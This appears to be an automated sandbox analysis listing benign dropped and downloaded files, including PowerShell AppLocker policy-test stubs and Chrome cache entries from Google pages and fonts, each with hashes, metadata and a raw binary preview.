SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xbwyc5v3.5nh.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xlhkamk0.gdh.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xp3o0o1k.5px.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yeajbw0u.wg0.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_yoohhup1.pt1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 140

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 616867
Category:	downloaded
Size (bytes):	167798
Entropy (8bit):	7.997880831776248
Encrypted:	true
SSDEEP:	3072:zp3+AZuFkaXANkWYU2XzY7o5d5r+chV6HugFwks6zfhjiUCcvzie/bq9d:VVZuiaXA5t2X87Qd5r+cjsu8hBidcvzq
MD5:	95C40751B2407C7A38D5255F090B7796
SHA1:	F12B59C6C33F61A70F7BD7B0F101BC56152C37BF
SHA-256:	56724AC78BF37CFB8E3757CE4C65628737FAF376EC717EF099578C42CD0A02C6
SHA-512:	B43C69F1F0A3F4B24B7F239A62E1A0B994BA04C2133580D904B95B71614D5ECD96B44E1BBB8D77BF84BD1FB8BE5FA6C98BA6574E36AEA6F22FA94C5115A304E0
Malicious:	false
URL:	https://www.google.com/account/about/static/jfy-privacy-control.json
Preview:	............W...&.......C...sA.=Y4.......wa.}.. ...t_h......L>.\|......._......._..U..."...j._.......4...A(...._...E..W../....k....W.G9......;..6<..x:~..WQ......+.r.~....._m.._.7....3.G....w{...........H.....<...,.J..G.a-..4....aL/h..f.F...ag.1~.VdC...A(.\|..4.D?..(..4...>.khP..#kz.n.m/1.H....M$..."V...>.....j.........#.....k..oB.E^...$..+)..+>.)<.B].n.E...9j...=F.b..A.S...\|..G.nc.......Q.Y...6r9..V2....d...q........0..V....?.\..r.z{.$.......?2`.2.?..........Q....h........B..<.........]V.vm.H.<.......5G-........>.M.~.(C.>C.......@K...J........\.<(..>.eY....5.5.[..}.....T.ZJ................au+i.-...i....L.....y.;Y..y..f.?.I.?:.[4.G.0...J.9...9.....'>....o....}........i.0]E...!.g..~......9~4...i.......O.._.?..=....z...g.........8..^.......?^.Y..p!.\n1 .R......>....n.+.....X...x....~T#au...Q...r.p+z.S..2........q...k.{._.......<..."4..............+.m._....g.>L....."..._}.=D..-...'f?1l..F.3...O_...{'+..............b0P&..j.Q....Q[..z.k.:f.[h1}

Chrome Cache Entry: 141

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 380, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	33064
Entropy (8bit):	7.982670401211985
Encrypted:	false
SSDEEP:	768:PZr1ylvkl0HwbdHItQvgK+Cs+3vefbKa29xM9aRLNsIB6:Olvu0QbdotQvgE3vefT2XM9aRvB6
MD5:	A68B654CFC526D2AF656B2A721D1FE91
SHA1:	A06291DF9DD76FCE967E42BAA2964D7DA9F106B3
SHA-256:	F38054FB5D1C5EECF0C03238115A0C6F28A280B4E85608B6D3BF990D03382702
SHA-512:	F5238275300F00FE1173A8C07AA0F1451E44028ED47A3EEF12B8ECD3039EFC1D8A10EED8497719CC721D1E5043E101493A1C3AEE0E5031484B1CD8B58D97BA03
Malicious:	false
URL:	https://lh3.googleusercontent.com/6Dn02HSBiAsWvIjrY1fc3l-BjFVvzicZAO4LOFXr7In595FyvuWeUj9czQlKQeQ2u-cq6j1JlHMlRYLP3uYtaWMoSnEpMjfBbYjD2g
Preview:	.PNG........IHDR...\|...\|.....C.......IDATx..w.\W...{.Mu+Wu..JN.ll......h..C.fw.....}gw.eY.,36a.....h..!...c...q.,[Yje....o8.....nUWwW.Z..}@V....n.....B@JJJ._"..)))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..))))..)))..)))..))))..)))..))))..)))..)))..))))..)))..)).nK........T..s..EBGJj).6~... ....w....5.........q#T......l..I....)....-.!D.,.X.~%@D....CA.GBGJJ./~. ...._.U.....j.0..))...B ..U...L.Q....[D.v#.....\|.NP.I.HIu.5.....R....h.!...%j....B...t..GBGJ.k^...~.T.!(.(.C..M5r.qP...?@'..%.#%5o.4. ..i.q..P.b.!.ug...bQ..?_...p.....2.jP!.y.H>.!.v.z2.....B..N.N..(.~.....T7..l...P5..j.<V.....SB.l&....".U.H,......T.m......J..`#..P.t..y...9.N.B!h..}$t.... .........Fx.j..On.w~T=....I..&...@......m-...&..]._.D]-..).n.W..q..#.....Bn.0...3....!<D...:..2...T.!B..... h.......p...

Chrome Cache Entry: 142

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 18536, version 1.0
Category:	downloaded
Size (bytes):	18536
Entropy (8bit):	7.986571198050597
Encrypted:	false
SSDEEP:	384:IhocXmE6eM871P7td/mcOKA454H2orQEONKrOqxw:f6WeL1P//9D54WCCKc
MD5:	8EFF0B8045FD1959E117F85654AE7770
SHA1:	227FEE13CEB7C410B5C0BB8000258B6643CB6255
SHA-256:	89978E658E840B927DDDB5CB3A835C7D8526ECE79933BD9F3096B301FE1A8571
SHA-512:	2E4FB65CAAB06F02E341E9BA4FB217D682338881DABA3518A0DF8DF724E0496E1AF613DB8E2F65B42B9E82703BA58916B5F5ABB68C807C78A88577030A6C2058
Malicious:	false
URL:	https://fonts.gstatic.com/s/roboto/v32/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......Hh..........H..............................Z..\|.`..J.T..<.....H..U..Z...x.6.$..0. ..t. ..I....p.0.VU.......1....AQ...d..x.....R..4.-.c..C$fUc.c..IX..@..~g.xs.....%...O...eJ.w..U.\|.......%..{.......U+..T#.S......`.n.....V.w.4..~P"..zk.%..../........=3...F.........V.FL..;Bc.........A.Uk.U1.b!Y.BH.DL...s.s...F.m.9a..GJ..1..#.`m5..DI..X5#.........B.Akm.....&..0...{.L.....G......-(.......O4.@3....=......f..l...$.....j..NO...e.Y.tJ2J>F.(.c....08..e...~....D2S7s:.G'Gm........!.7.........r.c.`,.....~.).......c>1.......Y.g2^...T-1.7./r./....>...g.ov@u.?.U.+._...'M..,.,g....!g..9."..yBF.#r+.Ps...%.d=....U...5.b.$:`.4R.II.<A....Q)....e...k.....M.8.z....+.....5}..F........F.d._...].~-](.Lf....Y..W....;-z...;. .@x._v../.%UIm....=s...P.C....G...^..Q.!g.!b._.P....at..?.}....t.z...O(..Y6..R.2.X....k.R..K.gw(.F.K?m..R...7....dj..7. .r.U..be.4......8.].w.B..B......Y..:..8.N..U...NEm...\.^q..f}.......{..6.". ...y-.Y...N.+.M E..`......R.$T

Chrome Cache Entry: 143

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	22299
Entropy (8bit):	7.991201111722601
Encrypted:	true
SSDEEP:	384:csLITMhHVt/oYUSBakq73zHehpiGUOb+NrEixpgqi6H9A8kVxw/MiQFw8KMd/dzp:9Igh1t/oYDfsH08Gnbz+iZDQ/5QFwZM1
MD5:	FE0AF6FFFCBEC9B41308148CA03A06D7
SHA1:	D95057FB815653CA575D15BF4CB6F0887392CE7B
SHA-256:	2D6C99A677769E6C2899089E9C1B71FD4EEA99CF3476553CFA276A72ADC6F140
SHA-512:	31A3F46DFB8AD7472867D2897A675FB91D5025C939D4EA58C7C764F576501EDC52EF44CDA63B2B76F7FF19B9BCF45710A23CF6E7D581512F51C79C6E07343ABE
Malicious:	false
URL:	https://www.google.com/account/about/static/css/index.min.css?cache=8d9960b
Preview:	..!...6........)f.....\#.!...B....@.Z&o.zJM..0..BH.B.....;.'...u.r.$.9..P...)....z.7w...4..r......g..{I.s...k5....J.Z.ZE).......j3P...v....G.WS.!f...v.kw./............W.`+.<.R /.../..8...". ........xe..@..d.....Q.Y...&...M....FN....l.x.....Z5.>..:W..T.(..c;)....m~....@%...9..{...H..E.J#9.:...+.......yO..u.T...4...Y......,...lR.n....\|....._g..M...1 (..^.}..I`.......s...)`...V.9J&.... j.V.]w."#4}k.%....C....f/6..`.....3.0j.km..........e.....Z6.w.!...../...K.w.Q..@X.&....by.+.tT..K..F..S.S.5..m..i....@...<...h.w.N...B2.H.....H.cU:.....:v}..?..MD0.g...d..>m...R.w.F&.fXU0...xH....0........w.A4\..Z~@...2....w..'h....%.0b.n._.":.!..e..8........8....!t.%....?...W.3.....P..w.......&.mW...9..3^P]1.yA../$...C?......x../.Y.s...o..A.TD.%..=.....{.X...$7a'1...b@..,.... . .0.L..@:z.H..-..6H.....l.d.R.....o.xQX..6=1'.....U.7....9?y.>.~...P\|.......6..!..@.U2..#.....H.s).@:..X..........~v5.rBW}Ga.X.....V......7...O[p..!.To.@..Vm......+@....i.H

Chrome Cache Entry: 144

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, truncated
Category:	downloaded
Size (bytes):	42
Entropy (8bit):	4.522571589136361
Encrypted:	false
SSDEEP:	3:FttNmWYLUlWall:XtIUXll
MD5:	0665AE79440BF663A2AFF2E7CEF339E1
SHA1:	5F644A7B31421E775A570B0744ACC61CF1F14939
SHA-256:	5344E32CB92F42F62909C2AD84E7104CDA2EBD0C75245145802E119CCCB691E1
SHA-512:	4856B9EADC4C183C79CC2CC2D1464822C0D6142163FA8C6262EA87AF6E1E18D44E0070A0A00A2A7A59EE154FB38042E12BC356A7647F107CC6D270E60EF664F9
Malicious:	false
URL:	https://www.gstatic.com/glue/cookienotificationbar/config/2b.json?hl=en
Preview:	...........VP*J-,.,JMQ.RHK.)NU......M]....

Chrome Cache Entry: 145

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 587332
Category:	downloaded
Size (bytes):	204940
Entropy (8bit):	7.998494412844369
Encrypted:	true
SSDEEP:	3072:GeCktrvRRTXyc3uIJelY5nVof56X8W6T8X53yJZlYBC3/CT6Bbz2oSziJs1mgL5A:yYrv3qXYxmR656TCwMUeLMBgL5tvdQ
MD5:	77DF3BDBDB43CDC4955CE7947B5F7B11
SHA1:	EF3DB207CAC6B7C6717E51A8BF26DEA9BA39E402
SHA-256:	71422FF56AEEC9C3AA407DDAD1C46D54D92063C035CE43C35E09FC07ED596DCC
SHA-512:	9E88ADA72BD75FF13017B13F94C96A3A8685D3EBE9A3A35715EA0B85F16CE8F9B00FE1DE191CE37A0FD49F382EF40E4D01ED30685523262C4F7324929A1227F1
Malicious:	false
URL:	https://www.google.com/account/about/static/jfy-instant-access.json
Preview:	............G....&......`..1f...9K^..s.........{.->..,..,.QP_.........A.....T............?....0.ww..7LP..4..M...L...q..,..._n..C...........E.......^.............?......./".....<......Y...O..........f.^...5..R.zf..1\...5.0b.0..p...nF.$..(....c..".2.#....>.....P...k..ahm/2?.`w\|-.H...E..F.`..?............_ .......h..s..H..6R..Ox....+u....wn........]..Z......._.....^..W...g..yd..w.]...{....L..e^....`.....R...sj.s.d.._..'~f..g"~Q)..^.....Q...h..'z.d..!z..y.U.O........C....^Tz.[....H.{..........(C.>C.......@K.}.J\|..x......<)..9.u.....-s.-.Z......T.Z....O....y.......av.i~-...[.{..L...X'y..Y.'y..f...E..mH..._...*......uS...8.%.......k......J..N..LW..0<............].-...+...?...._.......?..............l.Cu+q^...4?....4..3_........y.R..Q....>.....=..7.....:......2....YM..../Gip!...........;......0...;.g..\.+...........G...5F.....o.#.....^......w2.G.)_..........;..3l..B.+.[..X.... +.....c;..'......@......u\o....N.'.7.c...V...Zg

Chrome Cache Entry: 146

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	18713
Entropy (8bit):	7.990650221454665
Encrypted:	true
SSDEEP:	384:AEdMQSPzgUeGM+q5hHoUUHinn8SfGSP/qwddoJ41ryDXfYwrT7+z:AttzgdB/nsOn8nw/qwBUXfXo
MD5:	CD5AFA45E4602331E478E26A1E6A47D2
SHA1:	2E711DBA76BC1709A087820083A6962CB35FA759
SHA-256:	4A3E62DB8EDA77E761757CC110B8A8BDD120DED2E1439B2BF9AA44E72105766A
SHA-512:	F183F93E09CCBA91641078106A49D07F6C9FFC15ED39D6856101025E1B93CFBA38B40DECBB04DDEF4B889186529D991D2D18D176455B950F0B4DDF73B084C06A
Malicious:	false
URL:	https://www.google.com/account/about/static/js/index.min.js?cache=d96a370
Preview:	j}!...V:FQ.j.qDrV.........}.#...D.cS.....b...zV..d.7U.._..p..I8..F.$'._.2...{\..._R...]...2a...y.'.Z.y9.j=h..y.r{......%...C..Br"..7...OF...\|...-...Y.V-..T..I.d]a..G......u..w.P5..........J.p....d....W....Q..n\..P.....N.'..L'Nk .......r.2.2M..."..U.....N6 ...8&t..j..u..Yk.... 3:.....x.........G..FZ.ZP.f4;..w..n.\....i.)...FZ.5.....%.7AvQ....]...x..-..1+X.jk.M....N...w.L..A..#.1..I...1...,.]Ef..5....[$'.I..b.&..S..8....YV.@...r....vh.......$..=.....T...I....2.U..4.'.6t../..8...7.-.-Z.j...P.>..B.7...c.#U...\|.5....B...\.....2....M.'g....!.ZR....T=G.0...S).B\...I...b2.'.xN....q6t.....-.#M.....g.H.9#.)q.m.K]..A.2n......o.._..)..t/........G..rq-I.]...{.0......g..p....'..{"..2H.4O.y$.H....H2..]..F..!T:...m'9p;..3.X.GE.Oe..z9.Wb....Y.0."P.K...rT#s+s.l.'(ah.u.%._...o..A.....`l.4...7.w4.Z...G...y.^oj.Z.._=].....,.V...U.e.S.,.....c...Uo.N......yZ..F..<.C..[9..re.r.Jda...o....e..\...#.Q3$<Lq..}..$o.&.Q..F...s.+.C.)VX.L..[...\... ...."c.

Chrome Cache Entry: 147

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 380 x 380, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	11359
Entropy (8bit):	7.787102697575173
Encrypted:	false
SSDEEP:	192:mmfO7Umr8AMVFuYzA19f/Rc6ptVAP+hDBoHhEZPn/egiTgKECDxQ7bgf8:2oe8jVUTTXRDpba+HomZ3egiTXEAWbgk
MD5:	07D56CA495E18D61E87CF3403609C0BF
SHA1:	553191F356E212B63880E22D722845D554B39377
SHA-256:	E1273CB1AB49141B24CC461BA25DFFC3AD33601A5F75E0928993A95AD7436602
SHA-512:	B13306E002821355931A3E5B53F70FF9065EF8EC99ABB423C41E59FE016CA43856BB01F338AE540EB65EE839B684AC6F549956082AFEB4CBD1234DF01D6F5AFE
Malicious:	false
URL:	https://lh3.googleusercontent.com/rlSRvsQruVgzB6ki1pwgrVtz9vDNBX1nzzRthFtvkiecN3zksupzRanQTUKSZalT9yaglCxlcYKb2evJaN7IlC9kQNkuZR9fsgcwjg
Preview:	.PNG........IHDR...\|...\|.............tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c145 79.163499, 2018/08/13-16:40:22 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CC 2019 (Macintosh)" xmpMM:InstanceID="xmp.iid:C3E8354CE87611E9A1BDC3120590A496" xmpMM:DocumentID="xmp.did:C3E8354DE87611E9A1BDC3120590A496"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:AB4012FFE86411E9A1BDC3120590A496" stRef:documentID="xmp.did:AB401300E86411E9A1BDC3120590A496"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.:...(.IDATx.....eU}....4&..y1.!F}....$..A..1..H4Q.A4.51...A.......4.......l.......n.U..].jo....9.....

Chrome Cache Entry: 148

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 33083
Category:	downloaded
Size (bytes):	2531
Entropy (8bit):	7.908501945592973
Encrypted:	false
SSDEEP:	48:X0mdUAXwJBhrGBxduOLJJeh3yHwghKLe1TMfbhQuIT6yk/zKA:EmdUAXgBiqOLPegH5gJAk+A
MD5:	76C179B7F03AF005CA250ECD7D65AABC
SHA1:	489C865D2F1F1E0F7FE513AB666D67BF706D3E57
SHA-256:	07E621B22C07EADE02279FB15EBCC090DFC5A788D49FBF9408EA8F46B2BA0037
SHA-512:	F5EA6D8DA095D339597F8F8D29F14B8947741E2166095961A3EDBE1106DB768D5AC3FA75F3A6B8FB9B7104F09B8D9293050B5EE0C7E06990B51635A726092FCB
Malicious:	false
URL:	"https://fonts.googleapis.com/css?family=Roboto:100,300,400,500,700\|Google+Sans:400,500\|Product+Sans:400&lang=en"
Preview:	...........Z[w.6.~..[.l...=}Y...7M.$.v....X...o..}g..b.^.UB..@\|..........<.=....ry.x...g...\|>.T..i.R....[M.X6.pY...G.'.A3.f.`....w2.V..<...M........A..`.x...w.....g.f:...^V.h.\|..}..-....y3..A...e=.\....{."...h.h../.W?N...9{}8..'.../........8x'._.Cq9.w......b.yv9?9...x`d...k..{......+...F0......>.k.........o.<..(.r.xP$?<./.............e.....,....)..)....OWN.."&...dt.t-.U.C..R..._xP....M9.T1..p0........M=.g..+......=....EF .j.....d<.'z+.4....&.......4_7...W]-]..c.>.a.Z......P.Z.F....x.t....'.L.%.....Rg.\|.F9k.....H..!...A..g,&.....A.r....rF.2...Q{f_."..E}...p4B.. ....X....x...z~...[.......M..N...}.....<.s.L&.(.............$.G...d.8.Ts.\|....4...{N.D^" ..2...Q$FWs.X.a.T.S.X.6.L..UJ....>d.=..&..c<..@`N. ..70.<\..J.)......'..?....+t.....z.B.{..t.hm..cgh..X.w..'./.....c.Ez....t..-<]...O...A.[.....,dPz...?.O.......,A.(.C:C.'..n.....`.._....La...N.`~.k.M]!.........!.~~.r... ...N...z...-.._s............z6.....-.H..+..R....*..$.....Ry=.0

Chrome Cache Entry: 149

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	downloaded
Size (bytes):	76768
Entropy (8bit):	7.996958937892788
Encrypted:	true
SSDEEP:	1536:7r7R3/6LS/nH8w/EeS+z7WU2Co6lGpBw7Tjnk4ijE6:71/6ecMSS6U2CoVpBw7PkB3
MD5:	5F5575299CC5B92E58AC29507895799B
SHA1:	999873E08A290949A1E1498810AA350442E91411
SHA-256:	5D2FF0CFB4F4AF05B0F88700659545ED2EF141F74FED7E11908888F93AF2A44B
SHA-512:	25F5DA4C8403F424627F25CDB98CA47A076FCE61CC414D606490F1A944E869C23D3173DEB5CB35E858705B822193747861C237F45315DF47C72D875A562C4C5C
Malicious:	false
URL:	https://www.google.com/account/about/static/feature-enhanced.json
Preview:	.....x.E-...<..{........B.......Z'.CT<.W.1....)z.(..=[..d.n..O e.....K.....^6..l..^r.B@..[.G..Z.'....:-S#7.-.;.F8 ..4..'....L...OrSDgo...p..X...(R.V.V.R..3...........a.2...J-...7A..".L$#nAN..W.G<.....&M..>7[......)......N...5.+.-9..'.`c....R..g....rF.`...Y.1..hnV......t....[aqP`.B..vF..?.NJo4<!0....~.....+......[..U.Mn&.yo9.%z..rRB.(.J..Lq..r.e. T...u.u...........K.._..._j....E.`aA.L..q.^...#.+##d>...Y..Pi..,O..[.j\|.......[.a....a.....O..gw3...[..O..P...I.....\....oW.....=.X....`AD....qI...>./......U..v.<..."P...(...I4..7.k...1._o..:(..QEQ....".r.o.7.z....._,".Y..{.E...:s.y....G`.kc.tnH..9\.p....Ls.f..9Fgr.!:.+s.....c..".2.#....>.....P...k..ahm/2?.`w\|-.H`.B\..a.3Q.Y.f-%..;....X=..R.c.....a.=...3.fZ`T-*...zbq..T.Vxh...S..)@...Xz.u.P..4.:.9E-j.t...vL66...L@WT...Ri...qH...@..~u....W..c4B.9H......e.Nl..v.....t4..{.q]...D..L..br.R\.$..U.)p....3.....&qD\\..5..E .0.s........DK..f.... .<....?......6p"RW.v....h..Y.X..x..\.....)........AX...z

Chrome Cache Entry: 150

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 78288
Category:	downloaded
Size (bytes):	15962
Entropy (8bit):	7.986584620725061
Encrypted:	false
SSDEEP:	384:HTYJZXXY97+9gZlqsrTWmBlCQMeWlIcgsAlOoLX7Inr:MJxYF+967rTWmBIBlIL5lF4
MD5:	50EED5D7C4FF33E7523E96D77B6C294A
SHA1:	84518813AD2503F007B438E5A28EDD9ADC72B5B9
SHA-256:	E35DC8412704292FC9F57511E9FDF7B1E191456EBF81C8278618876367F3551B
SHA-512:	E472A997553651C23A83076954CE5C5E5E061AAF25E0FDB55AD0A525408FEF9912290C205050B2F683D70DDEE1B5B1BC4AD1162C8D6DC1EED82BEB6993479B36
Malicious:	false
URL:	https://www.google.com/account/about/?hl=en-US
Preview:	...........[.r.6......&...%%N.X.$v.&.s.si...H......J....!..^.d...x..K...db......s..!....W{o?.~.B.....?..8.8$v.\|..nH....2".#/. r.dr..ul..R.H...#.g....'..O...p?..M..S..\|.......Q.{......n.x..@........d"... .H,....C.....).....^J.....w...no{...........X...w...,..<..\...~X..G....%..7..v.R...b.{H.....L.Ng:..9..qq..LROlz<.,.N..J"..y,a....TR.\.aF....AK.E..).e8..y....f..L....T:E.+%#..$u.3..].v.#.JF..Bp......H..=......}....A..}.:.x....@..l.u...?>12..(.tD....I.f<K-.....i.B>U.@'Q...`....eHRd...B.....H.G.. ......F..aH.DN.....\...c..6pp...K.y.K.g7I.l~....$...8.[.....[..!..O+..@.Dg...4.:F..N.4.<...S.......l&qPgL1. 9K@..pG..9..N......<...u.....9/'......r..n.D.`....a..sb....0X<(.k.G?o.D..5.,g....Y%4.....N.q:...G8.l68.C......F.~n..m........G8..l...f}...p...!."..U.z.T....q.E3..u.\.&,.Kc-....yl\|.O.rSm.F..3%C%.Nws{....^....Q.e#..W....4_.C.{!...wv...W...OD.'.G.O.yG.[wvn..Z.n'...C......`^..........%1.2....,.....q....E.=0.B?..o....R.....[v..^..u....N.D.%...).;C

Chrome Cache Entry: 151

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max compression, original size modulo 2^32 17340
Category:	downloaded
Size (bytes):	6221
Entropy (8bit):	7.964539170171012
Encrypted:	false
SSDEEP:	192:r6SuwayFdANRVQUjSrX7fhNyRuXydoR+wwcX:FuwaOMQoST7pURIWUX
MD5:	83E0B2F796921E9FC3464A9195F687E5
SHA1:	8BCBFD6E42D6DCBF86326D36F35815C58C2BBCE7
SHA-256:	C448B2C8090DE42C7085EE4A11ACEE59ABC265F542C1944ADD168FC9853B32D1
SHA-512:	CBACF68A2A2CAE1912A8809021EA17A91C1BAB26D7669F17E39B9481C2459F133D50DD4A5ACCA6834DFCF7AC9FFC2BE479263057FBE031BE67C451DD7ABA0AEA
Malicious:	false
URL:	https://www.gstatic.com/external_hosted/hammerjs/v2_0_2/hammer.min.js
Preview:	...........\|{o.....)l.+..F.;3w/.2.i...I.L..I.F.C.R[r%9.Z....$.q.b.b.C.X<....y....K.....1.I...{6..,...y.t.W...N......~./.eR......y..., .....\|{..>....8V.[..Y..u...F"k.......x..i...NO.?..D.E".....px.2H.~}../..G...q. F.p...E+/...^.n.../3Q,.....<..tQ.o.....U.{..{7..}....1.Gc9h.C9...a.[....7,k.2..#...............\.T..H..Mi.Gi.......hG.........q..bH.af.5..'-.Y0a..mr..s...H`..8..zb...(...\.^...}.....1.....7......>...h8..w.G......-Y.d,.....hw...]JFDP..YZ...\."...g....L...I^d.^..e$....\dT..........J.U...l>..# ,./f")r...O..%B..(.@...AgX.Q....C.Yc0....!.d..L..E...,..nDR..y!..I."..^9.K..!...F<;.\.)...zx)..R...v...L$.q....;... N"qw2B.w..n.bN.".g...\|......^...r.3%>fB.os.a....v...J.D.hkK.b.h8.CJ.,.M.".........k..TYZ..q.{..r.........uYS.0..g..p..P..r$.....~.....I(&R....C..>.(.. O..9...sl.....V84.0&Q..M....N..Q..A.~..E..r....M..&c.!.:.....76..#...y.o.B 